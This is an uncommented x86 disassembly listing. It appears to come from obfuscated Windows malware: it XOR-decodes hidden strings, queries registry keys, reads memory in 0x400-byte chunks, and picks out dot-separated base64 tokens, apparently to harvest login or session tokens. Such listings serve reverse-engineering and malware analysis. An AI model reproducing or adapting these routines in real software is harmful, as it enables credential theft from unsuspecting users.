call fcn.0040c8c0
add esp, 4
mov esi, eax
mov dword [esp], eax
test bx, bx
je 0x424593
lea eax, [edi*2 - 1]
add eax, ebp
mov esi, dword [esp]
test eax, eax
je 0x424593
lea ebp, [esp + 0x11e8]
mov esi, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, bx
lea edx, [ebp + 2]
cmp bx, 0x7f
ja 0x4244a0
lea ecx, [esi + 1]
mov byte [esi], bl
jmp 0x424530
cmp ebx, 0x7ff
ja 0x4244d0
cmp eax, 2
jb 0x4244d0
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [esi], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [esi + 2]
mov byte [esi + 1], bl
jmp 0x424530
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x42454b
cmp eax, 4
jb 0x42454b
movzx edx, word [ebp + 2]
add ebp, 4
shl ebx, 0xa
lea ecx, [ebx + edx]
add ecx, 0xfca02400
mov ebx, ecx
shr ebx, 0x12
add bl, 0xf0
mov byte [esi], bl
mov ebx, ecx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [esi + 1], bl
shr ecx, 6
mov ebx, ecx
not ebx
or ebx, 0x3f
add ebx, ecx
add bl, 0x81
mov byte [esi + 2], bl
and dl, 0x3f
or dl, 0x80
lea ecx, [esi + 4]
mov byte [esi + 3], dl
mov edx, ebp
add eax, esi
sub eax, ecx
mov ebp, edx
mov esi, ecx
movzx ebx, word [ebp]
test bx, bx
je 0x424593
test eax, eax
jne 0x424480
jmp 0x424593
movzx ecx, cx
cmp ecx, 0xdc00
jne 0x42455a
mov ebp, edx
jmp 0x424538
cmp eax, 3
jb 0x42458f
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [esi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 1], cl
mov ecx, ebx
xor ecx, 0xc0
or ebx, 0x3f
and ebx, ecx
add bl, 0x80
lea ecx, [esi + 3]
mov byte [esi + 2], bl
jmp 0x424530
mov ecx, esi
jmp 0x424530
mov byte [esi], 0
mov dword [esp + 0x78], 0x30609d9
mov dword [esp + 0x7c], 0x1f330a0d
mov dword [esp + 0x80], 0x1c0209
mov dword [esp + 0x84], 0x7073edf
mov dword [esp + 0x88], 0x10151a1c
mov dword [esp + 0x8c], 0x100c35d7
mov dword [esp + 0x90], 0x626a181a
mov dword [esp + 0x94], 0x7376af73
mov word [esp + 0x98], 0xf974
mov dword [esp + 0x9a], 0
mov word [esp + 0x9e], 0
mov eax, 0x31f153a6
mov ecx, 0x59
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x31f1532e]
mov esi, ecx
xor esi, eax
and esi, edx
xor esi, eax
mov edx, esi
and edx, 0x41
add edx, edx
xor esi, 0x3e
sub edx, esi
mov byte [esp + eax - 0x31f1532e], dl
inc eax
dec ecx
cmp ecx, 0x31
jne 0x424620
lea eax, [esp + 0x78]
mov ecx, dword [esp + 0x21fc]
push dword [esp + 8]
mov esi, dword [esp + 4]
push esi
push eax
call fcn.0040d360
jmp dword [0x448718]
push esi
mov esi, eax
call fcn.0040c8d0
mov eax, esi
add esp, 4
and al, 1
add esp, 0x21e8
pop esi
pop edi
pop ebx
pop ebp
ret
int3
xor ecx, ecx
mov ebx, dword [ebp - 0x10]
cmp esi, ebx
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x448d10]
movzx ecx, word [ebx]
test cx, cx
je 0x42509b
lea esi, [ebx + 2]
xor eax, eax
jmp 0x42506c
xor ebx, ebx
test edx, edx
sete bl
xor ecx, ecx
jmp dword [ebx*4 + 0x448d08]
jmp dword [ecx*4 + 0x448c98]
mov dword [ebp - 0xdc], 0x79cc7ba8
mov dword [ebp - 0xd8], 0x7dc77fc3
mov dword [ebp - 0xd4], 0x71c773c3
mov dword [ebp - 0xd0], 0x75c077c4
mov dword [ebp - 0xcc], 0x69c66bdb
mov dword [ebp - 0xc8], 0x6d296fdb
mov dword [ebp - 0xc4], 0x61da6329
mov dword [ebp - 0xc0], 0x65d467df
mov dword [ebp - 0xbc], 0x59f65bdf
mov dword [ebp - 0xb8], 0x5def5fed
mov dword [ebp - 0xb4], 0x51e653e6
mov dword [ebp - 0xb0], 0x551157f9
mov dword [ebp - 0xac], 0x49f14be2
mov dword [ebp - 0xa8], 0x4dfd4fe4
mov dword [ebp - 0xa4], 0x41e743d3
mov dword [ebp - 0xa0], 0x45d747d6
mov dword [ebp - 0x9c], 0xb92bbbd1
mov dword [ebp - 0x98], 0xbd2abf22
mov dword [ebp - 0x94], 0xb11bb310
mov dword [ebp - 0x90], 0xb524b72f
mov dword [ebp - 0x8c], 0xa93bab10
mov dword [ebp - 0x88], 0xad3baf21
mov dword [ebp - 0x84], 0xa1e7a300
mov dword [ebp - 0x80], 0xa530a72b
mov dword [ebp - 0x7c], 0x99019b32
mov dword [ebp - 0x78], 0x9d0a9f0a
mov dword [ebp - 0x74], 0x91099336
mov dword [ebp - 0x70], 0x95039706
mov dword [ebp - 0x6c], 0x891b8b0b
mov dword [ebp - 0x68], 0x8d228f1a
mov dword [ebp - 0x64], 0x81108327
mov dword [ebp - 0x60], 0x8514871f
mov dword [ebp - 0x5c], 0xf96efb11
mov dword [ebp - 0x58], 0xfd62ff5f
mov dword [ebp - 0x54], 0xf1f2f360
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xbf
xor dl, byte [ebp + ecx - 0xdc]
add dl, 0x45
mov byte [ebp + ecx - 0xdc], dl
mov edx, ecx
xor edx, 1
and ecx, 1
lea ecx, [edx + ecx*2]
cmp ecx, 0x8c
jb case.default.0x424b94
lea ecx, [ebp - 0x24]
lea edx, [ebp - 0xdc]
push 0
push 0
push eax
push ecx
push edx
call fcn.00442170
add esp, 0x14
shr eax, 0x1f
jmp dword [eax*4 + 0x448ca0]
lea eax, [ebp - 0x3c]
lea ecx, [ebp - 0x30]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 0
push dword [ebp - 0x24]
call fcn.004425d0
add esp, 0x24
not eax
shr eax, 0x1f
mov edx, dword [ebp - 0x10]
jmp dword [eax*4 + 0x448ca8]
mov dword [ebp - 0x20], esi
jmp 0x424c3f
mov edx, 4
xor ebx, ebx
cmp edx, 4
setb bl
mov eax, 0x20119
xor ecx, ecx
jmp dword [ebx*4 + 0x448d00]
mov eax, dword [ebp - 0x30]
mov ecx, eax
shl ecx, 9
lea eax, [ecx + eax*8]
mov esi, dword [ebp - 0x14]
add eax, esi
push eax
push edx
call fcn.0043e130
add esp, 8
mov ebx, eax
lea eax, [eax + esi*2]
mov dword [ebp - 0x20], eax
xor esi, esi
xor eax, eax
cmp esi, dword [ebp - 0x30]
setb al
mov dword [ebp - 0x10], ebx
jmp dword [eax*4 + 0x448cb0]
mov eax, dword [ebp - 0x20]
mov word [eax], 0
sub eax, ebx
sar eax, 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xdc], 0x7c7d7a7b
lea eax, [ebp - 0xd8]
mov byte [eax + 2], 0
mov word [eax], 0
xor ebx, ebx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebp + edx - 0xdc]
mov dword [ebp - 0x1c], ecx
mov eax, edx
xor eax, 0x6406dfbd
mov edi, ebx
and edi, 4
sub edi, eax
lea esi, [edi + 0xa7]
and esi, ecx
mov ecx, esi
and ecx, 0xfffffffd
mov eax, esi
or eax, 0xfd
inc eax
imul eax, ecx
mov ecx, esi
and ecx, 2
or esi, 2
imul esi, ecx
sub eax, esi
mov ecx, dword [ebp - 0x1c]
add ecx, edi
add ecx, 0xa7
add ecx, eax
add cl, 0x6e
mov byte [ebp + edx - 0xdc], cl
inc edx
add ebx, 2
cmp edx, 7
jne 0x424c70
mov ecx, dword [0x44da9c]
test ecx, ecx
je case.default.0x42501a
mov edx, dword [ebp - 0xdc]
xor eax, eax
mov esi, dword [0x44daa0]
nop
nop
nop
nop
nop
nop
cmp dword [esi + eax*8], 0xb62b8d10
je 0x424fdc
inc eax
cmp ecx, eax
jne 0x424cf0
jmp case.default.0x42501a
inc esi
xor eax, eax
cmp esi, dword [ebp - 0x30]
setb al
jmp dword [eax*4 + 0x448cb0]
jmp dword [0x448cbc]
mov edi, esi
mov esi, dword [ebp - 0x3c]
mov eax, esi
inc eax
jns 0x424d40
mov eax, 0xffffffff
jmp 0x424d47
lea eax, [esi*2 + 2]
push eax
call fcn.0040c8c0
add esp, 4
mov dword [ebp - 0x2c], esi
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov esi, edi
push edi
push dword [ebp - 0x24]
call fcn.004422c0
add esp, 0x10
jmp case.0x424b94.7
mov eax, 0xffffffff
push eax
call fcn.0040c8c0
add esp, 4
mov dword [ebp - 0x2c], edi
mov edi, eax
lea eax, [ebp - 0x2c]
push eax
push edi
push esi
push dword [ebp - 0x24]
call fcn.004422c0
add esp, 0x10
jmp dword [0x448cc4]
mov edi, dword [ebp - 0x3c]
mov eax, edi
inc eax
js 0x424d70
lea eax, [edi*2 + 2]
jmp 0x424d75
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448cc8]
jmp dword [0x448ce0]
lea eax, [ebp - 0x38]
push dword [ebp - 0x24]
push 0
push 0x20019
push eax
push edi
call fcn.00442170
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448cd0]
jmp dword [0x448ce0]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x28]
mov dword [eax], 0x800
mov edi, dword [ebp - 0x48]
mov dword [edi], 0x36b0144
mov dword [edi + 4], 0x7760577
mov dword [edi + 8], 0xb6b0964
mov dword [edi + 0xc], 0xf400d75
mov dword [edi + 0x10], 0x137f1171
mov dword [edi + 0x14], 0x17161571
mov word [edi + 0x18], 0
mov eax, 0x5504d280
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edi + eax - 0x5504d280]
xor ecx, eax
mov edx, ecx
not edx
and edx, 0x81
and ecx, 0x7e
sub ecx, edx
inc cl
mov byte [edi + eax - 0x5504d280], cl
inc eax
cmp eax, 0x5504d29a
jne 0x424e50
push dword [ebp - 0x28]
mov esi, dword [ebp - 0x4c]
push esi
push 0
push edi
push dword [ebp - 0x38]
call fcn.00442c80
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448cd8]
jmp 0x424ecc
movzx eax, word [esi]
test ax, ax
mov edx, dword [ebp - 0x20]
je 0x424ec1
mov ecx, dword [ebp - 0x44]
nop
nop
nop
nop
nop
mov word [edx], ax
add edx, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x424eb0
mov word [edx], 0xa
add edx, 2
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xdc], 0x7c7d7a7b
lea eax, [ebp - 0xd8]
mov byte [eax + 2], 0
mov word [eax], 0
xor edi, edi
xor edx, edx
nop
movzx esi, byte [ebp + edx - 0xdc]
mov dword [ebp - 0x1c], esi
mov eax, edx
xor eax, 0x6406dfbd
mov ecx, edi
and ecx, 4
sub ecx, eax
lea ebx, [ecx + 0xa7]
and ebx, esi
mov esi, ebx
and esi, 0xfffffffd
mov eax, ebx
or eax, 0xfd
inc eax
imul eax, esi
mov esi, ebx
and esi, 2
or ebx, 2
imul ebx, esi
sub eax, ebx
mov esi, dword [ebp - 0x1c]
add ecx, esi
add ecx, 0xa7
add ecx, eax
add cl, 0x6e
mov byte [ebp + edx - 0xdc], cl
inc edx
add edi, 2
cmp edx, 7
jne 0x424ef0
mov eax, dword [0x44da9c]
test eax, eax
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x18]
je 0x424f90
mov ecx, dword [ebp - 0xdc]
xor edx, edx
mov edi, dword [0x44daa0]
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xb62b8d10
je 0x424f80
inc edx
cmp eax, edx
jne 0x424f70
jmp 0x424f90
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
jne 0x424fbf
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [ebp - 0x14]
jmp dword [0x448ce0]
jmp dword [0x448ce8]
push edi
call fcn.0040c8d0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
push edi
call fcn.0040c8d0
add esp, 4
jmp dword [0x448cf4]
push dword [ebp - 0x50]
push 1
push eax
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
mov edi, dword [ebp - 0x14]
jmp dword [0x448ce0]
mov eax, dword [esi + eax*8 + 4]
cmp eax, edx
je case.default.0x42501a
push dword [ebp - 0x18]
push 1
push eax
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp - 0x40]
push esi
call fcn.00441770
add esp, 4
cmp dword [esi], 1
sete cl
and cl, al
movzx eax, cl
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x448cf8]
xor ecx, ecx
xor ebx, ebx
cmp ecx, 4
setb bl
mov eax, 0x20119
xor edx, edx
jmp dword [ebx*4 + 0x448d00]
mov edx, 2
xor ebx, ebx
cmp edx, 4
setb bl
mov eax, 0x20119
xor ecx, ecx
jmp dword [ebx*4 + 0x448d00]
inc eax
movzx ecx, word [esi]
add esi, 2
test cx, cx
je 0x42509b
cmp cx, 0x7f
jbe 0x425060
movzx edx, cx
cmp edx, 0x7ff
ja 0x425090
add eax, 2
jmp 0x425061
cmp cx, 0xffff
je 0x425061
add eax, 3
jmp 0x425061
lea ecx, [eax + 1]
push ecx
mov edi, eax
call fcn.0040c8c0
add esp, 4
mov esi, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x425203
movzx eax, word [ebx]
mov esi, dword [ebp - 0x18]
test ax, ax
je 0x425203
mov edx, ebx
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
movzx ebx, ax
lea edi, [edx + 2]
cmp bx, 0x7f
ja 0x4250f0
lea eax, [esi + 1]
mov byte [esi], bl
jmp 0x4251a0
cmp ebx, 0x7ff
ja 0x425120
cmp ecx, 2
jb 0x425120
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [esi], al
and bl, 0x3f
or bl, 0x80
lea eax, [esi + 2]
mov byte [esi + 1], bl
jmp 0x4251a0
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x4251bd
cmp ecx, 4
jb 0x4251bd
shl ebx, 0xa
movzx eax, word [edx + 2]
mov dword [ebp - 0x1c], eax
not eax
and eax, 0xdc00
mov edi, dword [ebp - 0x1c]
and edi, 0x23ff
sub edi, eax
lea eax, [ebx + edi]
add eax, 0xfca00000
mov dword [ebp - 0x28], eax
lea eax, [ebx + edi]
add eax, 0xfca10000
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [esi], bl
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esi + 1], al
mov eax, dword [ebp - 0x28]
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esi + 2], al
add edx, 4
mov eax, dword [ebp - 0x1c]
and al, 0x3f
or al, 0x80
mov byte [esi + 3], al
lea eax, [esi + 4]
mov edi, edx
nop
nop
nop
mov ebx, dword [ebp - 0x10]
add ecx, esi
sub ecx, eax
mov edx, edi
mov esi, eax
movzx eax, word [edx]
test ax, ax
je 0x425203
test ecx, ecx
jne 0x4250d0
jmp 0x425203
movzx eax, ax
cmp eax, 0xdc00
jne 0x4251ce
mov edx, edi
mov ebx, dword [ebp - 0x10]
jmp 0x4251ab
cmp ecx, 3
jb 0x4251ff
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [esi], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esi + 1], al
mov eax, ebx
xor eax, 0xc0
or ebx, 0x3f
and ebx, eax
add bl, 0x80
lea eax, [esi + 3]
mov byte [esi + 2], bl
jmp 0x4251a0
mov eax, esi
jmp 0x4251a0
mov byte [esi], 0
mov edx, dword [ebp - 0x34]
mov dword [edx], 0xada0aa91
mov dword [edx + 4], 0xa6a8b8d1
mov dword [edx + 8], 0xa5daa76e
mov byte [edx + 0xc], 0x50
mov word [edx + 0xd], 0
mov byte [edx + 0xf], 0
mov eax, 0x1b7a558f
movzx ecx, byte [edx + eax - 0x1b7a558f]
xor ecx, eax
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
mov edx, dword [ebp - 0x34]
add cl, 0x34
mov byte [edx + eax - 0x1b7a558f], cl
inc eax
cmp eax, 0x1b7a559f
jne 0x425230
mov ecx, dword [ebp + 8]
push dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
push esi
push edx
call fcn.0040d360
jmp dword [0x448d18]
push esi
mov esi, eax
call fcn.0040c8d0
mov eax, esi
add esp, 4
push ebx
mov ebx, eax
call fcn.0043a200
add esp, 4
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
lea ecx, [esp + 0x40]
push 0x410
call fcn.0043a5e0
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x448d28]
mov dword [esp + 0x5c], 0x8ed79085
mov dword [esp + 0x60], 0x9886ed88
mov dword [esp + 0x64], 0x949d87e9
mov dword [esp + 0x68], 0xe39a9af5
mov dword [esp + 0x6c], 0x88fff6e2
mov dword [esp + 0x70], 0x9bf4fafd
mov dword [esp + 0x74], 0xa6a1fa9e
mov dword [esp + 0x78], 0xa2fba4cf
mov dword [esp + 0x7c], 0xcad8d2d6
mov dword [esp + 0x80], 0xaacfe5d9
mov dword [esp + 0x84], 0x2ffec9c9
mov byte [esp + 0x88], 0
mov eax, 0x25f97883
mov ecx, 0x4bf2f106
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0xb30d18c
mov edx, eax
xor edx, 0x8f9ae9c6
add edx, esi
mov esi, edx
not esi
and esi, 0x83
and edx, 0x7c
sub edx, esi
xor dl, byte [esp + eax - 0x25f97827]
add dl, 0x22
mov byte [esp + eax - 0x25f97827], dl
inc eax
add ecx, 2
cmp eax, 0x25f978b0
jne 0x425930
lea eax, [esp + 0x50]
lea ecx, [esp + 0x40]
push 0
push 0x2b
push edi
push eax
call fcn.0043b2c0
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x448d40]
mov eax, edi
sub eax, esi
sar eax, 3
mov ecx, eax
or ecx, 0x421
mov edx, eax
and edx, 0x421
imul ecx, edx
xor edx, 0x421
and eax, 0xfffffbde
imul eax, edx
add eax, ecx
push eax
call fcn.0040c8c0
add esp, 4
mov dword [esp + 0x28], 0
xor edx, edx
mov ecx, esi
mov dword [esp + 0x38], edi
cmp esi, edi
setne dl
mov edi, eax
mov dword [esp + 0x34], eax
jmp dword [edx*4 + 0x448d48]
mov edx, dword [esp + 0x2c]
add edx, 8
xor eax, eax
mov ecx, edx
cmp edx, dword [esp + 0x38]
setne al
jmp dword [eax*4 + 0x448d48]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x24], edi
jmp dword [0x448d5c]
mov eax, dword [esp + 0x2c]
mov esi, dword [eax]
mov edi, dword [eax + 4]
lea ebx, [esp + 0x5c]
push 0x400
push 0
push ebx
call fcn.0040c940
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x40]
push eax
push 0
push 0x400
push ebx
push edi
push esi
call fcn.0043b100
nop
nop
nop
nop
mov eax, dword [esp + 0x2c]
mov esi, dword [eax]
mov edi, dword [eax + 4]
push 0x400
push 0
lea ebx, [esp + 0x64]
push ebx
call fcn.0040c940
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x40]
push eax
push 0
push 0x400
push ebx
push edi
push esi
call fcn.0043b100
jmp dword [0x448d64]
cmp eax, 0xc0000000
setae al
mov ecx, dword [esp + 0x18]
or ecx, dword [esp + 0x1c]
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x448d68]
mov eax, 1
mov edi, dword [esp + 0x24]
jmp dword [eax*4 + 0x448d70]
xor eax, eax
mov edi, dword [esp + 0x24]
jmp dword [eax*4 + 0x448d70]
mov byte [esp + 0x45b], 0
movzx eax, byte [esp + 0x5c]
xor esi, esi
test al, al
je case.0x42434d.95
lea ecx, [esp + 0x5c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x425aff
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x425af0
jmp case.0x42434d.95
mov esi, ecx
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x448d78]
movzx eax, byte [esi + 1]
inc esi
xor ebx, ebx
test al, al
je 0x425b31
mov ecx, esi
nop
nop
nop
nop
cmp al, 0x2e
je 0x425b2f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x425b20
jmp 0x425b31
mov ebx, ecx
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x448d80]
mov dword [esp + 0xc], esi
mov dword [esp + 0x3c], ebx
jmp dword [0x448d8c]
mov ecx, ebx
sub ecx, esi
lea edx, [ecx + ecx*2]
shr edx, 2
movzx eax, byte [ebx - 1]
cmp eax, 0x3d
je 0x425b65
cmp eax, 0x2e
jne 0x425b66
dec edx
movzx eax, byte [esi + ecx - 2]
cmp eax, 0x3d
mov dword [esp + 4], ecx
je 0x425b79
cmp eax, 0x2e
jne 0x425b7a
dec edx
mov dword [esp + 0x30], edx
lea eax, [edx + 1]
push eax
call fcn.0040c8c0
add esp, 4
mov dword [esp + 8], eax
cmp ebx, esi
je 0x425ca2
xor edx, edx
mov edi, 2
jmp 0x425bc0
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [edi + 4]
add edi, 2
cmp edi, ecx
mov edi, eax
jae 0x425ca2
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0xc]
movzx eax, byte [esi + edi - 2]
push eax
call fcn.0041d0d0
add esp, 4
mov bh, al
movzx eax, byte [esi + edi - 1]
push eax
call fcn.0041d0d0
add esp, 4
mov bl, al
shl bh, 2
shr al, 4
and al, 3
or al, bh
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x14]
mov byte [ecx + edx], al
inc edx
mov ecx, dword [esp + 4]
cmp edi, ecx
jae 0x425bb0
mov eax, dword [esp + 0xc]
movzx eax, byte [eax + edi]
push eax
mov esi, edx
call fcn.0041d0d0
mov edx, esi
mov ecx, dword [esp + 8]
add esp, 4
cmp al, 0x40
je 0x425bb0
shl bl, 4
mov ecx, eax
xor cl, 0xc0
mov edx, eax
or dl, 0x3c
and dl, cl
shr dl, 2
add dl, bl
mov esi, dword [esp + 0x14]
lea ecx, [esi + 2]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 8]
mov byte [ecx + esi + 1], dl
lea ecx, [edi + 1]
cmp ecx, dword [esp + 4]
mov ecx, dword [esp + 4]
jae 0x425ba3
mov ebx, eax
mov eax, dword [esp + 0xc]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.0041d0d0
add esp, 4
cmp al, 0x40
je 0x425b9f
shl bl, 6
add al, bl
mov edx, dword [esp + 0x14]
mov ecx, edx
and ecx, 1
mov esi, dword [esp + 0x10]
xor esi, 1
lea esi, [esi + ecx*2]
mov ecx, dword [esp + 8]
mov byte [ecx + edx + 2], al
mov edx, esi
mov ecx, dword [esp + 4]
jmp 0x425bb0
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 8]
mov byte [ecx + eax], 0
push ecx
call fcn.00403e40
add esp, 4
mov esi, dword [esp + 0xc]
mov ebx, dword [esp + 0x3c]
jmp case.0x425b38.3
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 8]
mov byte [ecx + eax], 0
push ecx
call fcn.00403e40
add esp, 4
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0xc]
mov ebx, dword [esp + 0x3c]
jmp dword [0x448d94]
mov ecx, ebx
sub ecx, esi
lea edx, [ecx + ecx*2]
shr edx, 2
movzx eax, byte [ebx - 1]
cmp eax, 0x3d
je 0x425d0f
cmp eax, 0x2e
jne 0x425d10
dec edx
movzx eax, byte [esi + ecx - 2]
cmp eax, 0x3d
mov dword [esp + 4], ecx
je 0x425d23
cmp eax, 0x2e
jne 0x425d24
dec edx
mov dword [esp + 0x30], edx
lea eax, [edx + 1]
push eax
call fcn.0040c8c0
add esp, 4
mov dword [esp + 8], eax
cmp ebx, esi
je 0x425cd0
xor edx, edx
mov edi, 2
jmp 0x425d60
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x10]
nop
nop
nop
lea eax, [edi + 4]
add edi, 2
cmp edi, ecx
mov edi, eax
jae 0x425cd0
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0xc]
movzx eax, byte [esi + edi - 2]
push eax
call fcn.0041d0d0
add esp, 4
mov bh, al
movzx eax, byte [esi + edi - 1]
push eax
call fcn.0041d0d0
add esp, 4
mov bl, al
shl bh, 2
shr al, 4
and al, 3
or al, bh
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x14]
mov byte [ecx + edx], al
inc edx
mov ecx, dword [esp + 4]
cmp edi, ecx
jae 0x425d50
mov eax, dword [esp + 0xc]
movzx eax, byte [eax + edi]
push eax
mov esi, edx
call fcn.0041d0d0
mov edx, esi
mov ecx, dword [esp + 8]
add esp, 4
cmp al, 0x40
je 0x425d50
shl bl, 4
mov ecx, eax
xor cl, 0xc0
mov edx, eax
or dl, 0x3c
and dl, cl
shr dl, 2
add dl, bl
mov esi, dword [esp + 0x14]
lea ecx, [esi + 2]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 8]
mov byte [ecx + esi + 1], dl
lea ecx, [edi + 1]
cmp ecx, dword [esp + 4]
mov ecx, dword [esp + 4]
jae 0x425d49
mov ebx, eax
mov eax, dword [esp + 0xc]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.0041d0d0
add esp, 4
cmp al, 0x40
je 0x425d45
shl bl, 6
add al, bl
mov edx, dword [esp + 0x14]
mov ecx, edx
and ecx, 1
mov esi, dword [esp + 0x10]
xor esi, 1
lea esi, [esi + ecx*2]
mov ecx, dword [esp + 8]
mov byte [ecx + edx + 2], al
mov edx, esi
mov ecx, dword [esp + 4]
jmp 0x425d50
jmp dword [0x448d98]
push dword [esp + 8]
mov esi, eax
call fcn.0040c8d0
mov eax, esi
add esp, 4
mov esi, eax
push eax
call fcn.00404790
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448da0]
jmp 0x425fa5
jmp dword [0x448da8]
mov dword [esp + 0x18], 0x3390bca3
lea ecx, [esp + 0x1c]
mov byte [ecx + 2], 0
mov word [ecx], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
and edx, 4
mov edi, edx
not edi
add edi, ecx
add edi, 0xf0f1e4d
mov ebx, edi
and ebx, edx
xor edx, edi
lea edx, [edx + ebx*2]
xor dl, byte [esp + ecx + 0x18]
add dl, 0x84
mov byte [esp + ecx + 0x18], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 7
jb 0x425ea0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x18], 0x3390bca3
lea ecx, [esp + 0x1c]
mov byte [ecx + 2], 0
mov word [ecx], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
and edx, 4
mov edi, edx
not edi
add edi, ecx
add edi, 0xf0f1e4d
mov ebx, edi
and ebx, edx
xor edx, edi
lea edx, [edx + ebx*2]
xor dl, byte [esp + ecx + 0x18]
add dl, 0x84
mov byte [esp + ecx + 0x18], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 7
jb 0x425f00
jmp dword [0x448db0]
lea ecx, [esp + 0x18]
push ecx
push eax
call fcn.004046e0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448db8]
mov edi, dword [esp + 0x24]
jmp 0x425f83
movzx ecx, byte [eax]
test cl, cl
mov edi, dword [esp + 0x24]
je 0x425f7b
inc eax
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x425f70
mov word [edi], 0x203a
add edi, 2
movzx eax, byte [esp + 0x5c]
test al, al
je 0x425f9b
lea ecx, [esp + 0x5d]
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425f90
mov byte [edi], 0xa
inc edi
mov al, 1
mov dword [esp + 0x28], eax
push esi
call fcn.00404a00
add esp, 4
mov edx, dword [esp + 0x2c]
add edx, 8
xor eax, eax
mov ecx, edx
cmp edx, dword [esp + 0x38]
setne al
jmp dword [eax*4 + 0x448d48]
mov eax, dword [esp + 0x28]
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x448d50]
mov eax, dword [case.0x425b38.18]
mov esi, dword [esp + 0x34]
jmp case.0x425b38.16
xor ebx, ebx
test esi, esi
jne 0x4260f1
jmp case.0x42501a.11
